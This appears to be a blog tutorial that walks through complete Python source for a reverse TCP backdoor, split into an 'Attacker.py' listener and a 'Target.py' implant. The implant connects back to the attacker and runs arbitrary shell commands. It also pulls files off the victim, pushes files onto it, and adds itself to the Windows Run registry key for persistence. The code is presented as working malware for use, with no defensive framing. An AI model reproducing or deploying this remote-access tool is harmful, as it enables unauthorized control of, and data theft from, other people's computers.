Reverse TCP Backdoor in Python - Programming Concepts

 Assalamu Alaikum! Welcome to Programming Concepts

    I am Syed Naveed Abbas and in this tutorial I am going to show you how to create a reverse tcp backdoor in python. A backdoor is a program which grants access of machine to attacker within a network. We shall be using sockets to implement TCP connection between target and attacker.



    So let's get started. Open your IDE and start coding. Create a new python file. It shall be named as "Attacker.py".

Attacker.py

# TCP Connection
import socket

# OS essentials
import os

import time
    
    We just imported the necessary files.
Now let's start the server and listen for the incoming connection.

# Connecting Target To Attacker
def connect():
    # Starting Socket Server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Binding Server
    s.bind((socket.gethostname(), 8080))

    # Lestening To 1 Connection
    s.listen(1)
    
    print ('[Info] Listening for incoming TCP connection on port 8080')
    # Accept Connection
    conn, addr = s.accept()
    
    print ('[+] We got a connection from: ', addr)

Now we create another file for target, named as "Target.py". This file will connect to the attacker.

Target.py

# TCP Connection
import socket

# Process Handling
import subprocess

# OS essentials
import os

# Windows Registery Handling
import winreg as reg

import time


# Connecting Target To Attacker
def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Try Until Not Connected
    connected = False
    while (connected == False):
        try:
            
            # Note: Please Place Attacker's IP Here
            s.connect(('your ip', 8080))

            # Connected
            connected = True

            # Sending Current Working Directory Of Target To Attacker
            cwd = os.getcwd()
            s.send(("dir:" + str(cwd)).encode('utf-8'))
            
        except:
            # If Failed To Connect, Print A Dot And Try Again
            print(".", end="")

In the above code we imported "subprocess" so we can run commands on target side. We also imported "winreg" so that we can put files in startup of Windows.

NOTE: Please place your ip address where it says "your ip".

In the above code, when target gets connected, it sends it's current working directory to target so we can simulate command-line like interface on target side.

Now open your "Attacker.py" and add the main loop of backdoor.

The complete "Attacker.py" will be as follows:


# TCP Connection
import socket

# OS essentials
import os

import time

# Connecting Target To Attacker
def connect():
    # Starting Socket Server
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Binding Server
    s.bind((socket.gethostname(), 8080))

    # Lestening To 1 Connection
    s.listen(1)
    
    print ('[Info] Listening for incoming TCP connection on port 8080')
    # Accept Connection
    conn, addr = s.accept()
    
    print ('[+] We got a connection from: ', addr)

    # We Do Not Know The Target's Working Directory
    # So Initially It Is "Shell"
    cwd = 'Shell'

    # Recieve Response From Target
    r = conn.recv(5120).decode('utf-8')

    # If Response Contains "dir:"
    # It Means It Contains Target's Current Working Directory
    if ('dir:' in r):
        # Extract Working Directory
        # Skip 4 Characters
        # Because They Are 'd', 'i', 'r', ':'
        cwd = r[4:]

    while True:
        # Input Command From User
        command = input(str(cwd) + ":> ")

        if 'terminate' in command:
            # Send Command To Target
            conn.send('terminate'.encode('utf-8'))

            # Close Connection
            conn.close()

            # Break Loop
            break


        elif 'grab' in command:
            # Send Command
            conn.send(command.encode('utf-8'))

            # Recieve Filename
            file_name = conn.recv(1024).decode('utf-8')
            print("[+] Grabbing [" + file_name + "]...")

            # Send Response
            conn.send('OK'.encode('utf-8'))
            
            # Recieve Filesize
            file_size = conn.recv(1024).decode('utf-8')
            
            # Send Response
            conn.send('OK'.encode('utf-8'))

            # Print Size Of File In KB
            print("[Info] Total: " + str(int(file_size)/1024) + " KB")

            # Open File For Writing
            with open(file_name, "wb") as file:
                
                # File Will Be Recieved In Small Chunks Of Data
                # Chunks Recieved
                c = 0
                
                # Starting Time
                start_time = time.time()

                # Running Loop Until c < int(file_size)
                while c < int(file_size):

                    # Recieve Bytes
                    data = conn.recv(1024)

                    # Break If No Data
                    if not (data):
                        break

                    # Write Data To File
                    file.write(data)

                    # Chunks Recieved
                    c += len(data)

                # Ending the time capture.
                end_time = time.time()

            # Show Time
            print("[+] File Grabbed. Total time: ", end_time - start_time)

        elif 'transfer' in command:
            conn.send(command.encode('utf-8'))

            # Getting File Details
            file_name = command[9:]
            file_size = os.path.getsize(file_name)

            # Sending Filename
            conn.send(file_name.encode('utf-8'))

            # Recieve And Print Response
            print(conn.recv(1024).decode('utf-8'))

            # Send File Size
            conn.send(str(file_size).encode('utf-8'))
            
            print("Getting Response")
            print(conn.recv(1024).decode('utf-8'))
            
            print("[+] Transferring [" + str(file_size/1024) + "] KB...")

            # Open File For Reading
            with open(file_name, "rb") as file:
                
                # Chunks Sent
                c = 0
                
                # Starting Time
                start_time = time.time()
                
                # Running Loop Until c < int(file_size)
                while c < int(file_size):

                    # Read 1024 Bytes
                    data = file.read(1024)

                    # If No Data? Break The Loop
                    if not (data):
                        break

                    # Send Data To Target
                    conn.sendall(data)

                    # Chunks Added
                    c += len(data)

                # Ending Time
                end_time = time.time()
                
                print("[+] File Transferred. Total time: ", end_time - start_time)

        # Otherwise If Command Is Not Null
        elif (len(command.strip()) > 0):

            # Send Command To Target
            conn.send(command.encode('utf-8'))

            # Read Reply From Target
            r = conn.recv(5120).decode('utf-8')

            # If 'dir:' in Reply? Target Has Sent It's Working Directory
            if ('dir:' in r):

                # Get Working Directory
                cwd = r[4:]
            else:

                # Otherwise Print Reply
                print (r)

# Main
def main ():
    connect()

# Start Of Code
main()


Complete "Target.py" is as follows:

# TCP Connection
import socket

# Process Handling
import subprocess

# OS essentials
import os

# Windows Registery Handling
import winreg as reg

import time

# Connecting Target To Attacker
def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Try Until Not Connected
    connected = False
    while (connected == False):
        try:
            
            # Note: Please Place Attacker's IP Here
            s.connect(('your ip', 8080))

            # Connected
            connected = True

            # Sending Current Working Directory Of Target To Attacker
            cwd = os.getcwd()
            s.send(("dir:" + str(cwd)).encode('utf-8'))
            
        except:
            # If Failed To Connect, Print A Dot And Try Again
            print(".", end="")

    while True:
        try:
            # Recieve Command From Attacker
            command = s.recv(2048).strip().decode('utf-8')

            # Terminate Script
            if 'terminate' in command:
                s.close()
                break 

            # Grabbing Files
            # Example: grab picture.jpg
            elif command.startswith('grab'):

                # Extracting filename From Command
                # Skipping 1st Five Characters
                # Because They Are 'g', 'r', 'a', 'b', ' '
                file_name = command[5:]

                # Getting File Size
                file_size = os.path.getsize(file_name)

                # Sending File Name
                s.send(file_name.encode('utf-8'))

                # Recieving Response From Target
                # e.g., OK Response
                s.recv(1024).decode('utf-8')

                # Sending File Size
                s.send(str(file_size).encode('utf-8'))

                # Recieving Response
                s.recv(1024).decode('utf-8')

                # Opening File To Read
                # File Will Be Sent In Small Chunks Of Data
                with open(file_name, "rb") as file:

                    # Chunks Sent = 0
                    c = 0
                    
                    # Starting Time
                    start_time = time.time()

                    # Running Loop Until c < file_size
                    while c < file_size:

                        # Read 1024 Bytes
                        data = file.read(1024)

                        # If No Bytes, Stop
                        if not (data):
                            break

                        # Send Bytes
                        s.sendall(data)

                        # Chunks Sent += Length Of Data
                        c += len(data)

                    # Ending Time
                    end_time = time.time()

            # Transfer File From Attacker To Target
            # Example: video.mp4
            elif 'transfer' in command:

                # Recieving Name Of File To Be Transferred
                file_name = s.recv(1024).decode('utf-8')

                # Sending Response
                s.send('OK'.encode('utf-8'))

                # Recieving Size Of File To Be Transferred
                file_size = s.recv(1024).decode('utf-8')

                # Sending Response
                s.send('OK'.encode('utf-8'))

                # Opening File For Writing
                with open(file_name, "wb") as file:

                    # Chunks Recieved
                    c = 0
                    
                    # Starting Time
                    start_time = time.time()

                    # Running Until c < int(file_size)
                    while c < int(file_size):

                        # Recieve 1024 Bytes
                        data = s.recv(1024)

                        # If No Data, Stop
                        if not (data):
                            break

                        # Write Bytes To File
                        file.write(data)

                        # Chunks Added
                        c += len(data)

                    # Ending Time
                    end_time = time.time()

            # Changing Working Directory Of Target
            # Example: D:\
            elif command.startswith('cd '):

                # Extracting Directory
                # Skipping 3 Characters
                # They Are 'c', 'd', ' '
                dir = command[3:]

                # Change Directory
                try:
                    os.chdir(dir)

                except:
                    # If Failed, Revert
                    os.chdir(cwd)

                # Get Updated Working Directory
                cwd = os.getcwd()
                
                # Send Updated Directory To Attacker
                s.send(("dir:" + str(cwd)).encode('utf-8'))

            # Putting File In Startup Folder
            # Only Works For Windows
            # Example: starup T.py
            elif command.startswith('startup'):

                # Extracting Filename
                file_name = command[8:]

                # Extracting Path Of File
                # As File Is In Current Working Directory
                # Get Current Working Directory
                pth = os.getcwd()

                # Put File In Startup
                try:
                    AddToStartup(file_name, pth)

                    # Send OK To Attacker
                    s.send("OK".encode('utf-8'))

                # If Failed, Send Exception Message To Attacker
                except Exception as e:
                    s.send(str(e).encode('utf-8'))

            # Otherwise The Command Will Be Considered As CMD OR Terminal Command
            # Command Will Be Executed In Terminal
            else:
                # Executing Command
                CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

                # If Command Executes Succefully
                # Get Output Of Command
                out = CMD.stdout.read()

                # If Error Occured
                # Get Error Of Command
                err = CMD.stderr.read()

                # Send Output
                s.send(out)

                # Send Error
                s.send(err)

                # Some Commads Are Executed Successfully, But
                # They Don't Have Any Output
                # For Example: del file.ext
                # Above Command On Execution Doesn't Show Any Output
                # Put Our Attacker Is Alwayes Looking For Output
                # So, If There Is No Output And No Error
                # Send OK
                if (out == b'' and err == b''):
                    s.send("OK".encode('utf-8'))
                    
        # If Attacker Command Was Unable To Be Executed
        except Exception as e:

            # Send Exception Message To Attacker
            s.send(str(e).encode('utf-8'))


# For Adding File To Windows Startup
def AddToStartup(f_name, path): 
      
    # Combine Path and Filename 
    address=os.path.join(path, f_name)  
      
    # Key To Change: HKEY_CURRENT_USER  
    # Key Value: Software\Microsoft\Windows\CurrentVersion\Run
    key = reg.HKEY_CURRENT_USER 
    key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
      
    # Opening Key To Make Changes 
    open = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)
    
    # Modifiy The Key 
    reg.SetValueEx(open, "any_name", 0, reg.REG_SZ, address) 
      
    # Closing 
    reg.CloseKey(open)

# Start Of Script
# If Connection Breaks
# Script Tries To Connect Again And Again
connected = False
while (not connected):
    try:
        connect()
        connected = True
    except:
        print(".", end = "")


Source Code

Enjoy!

Comments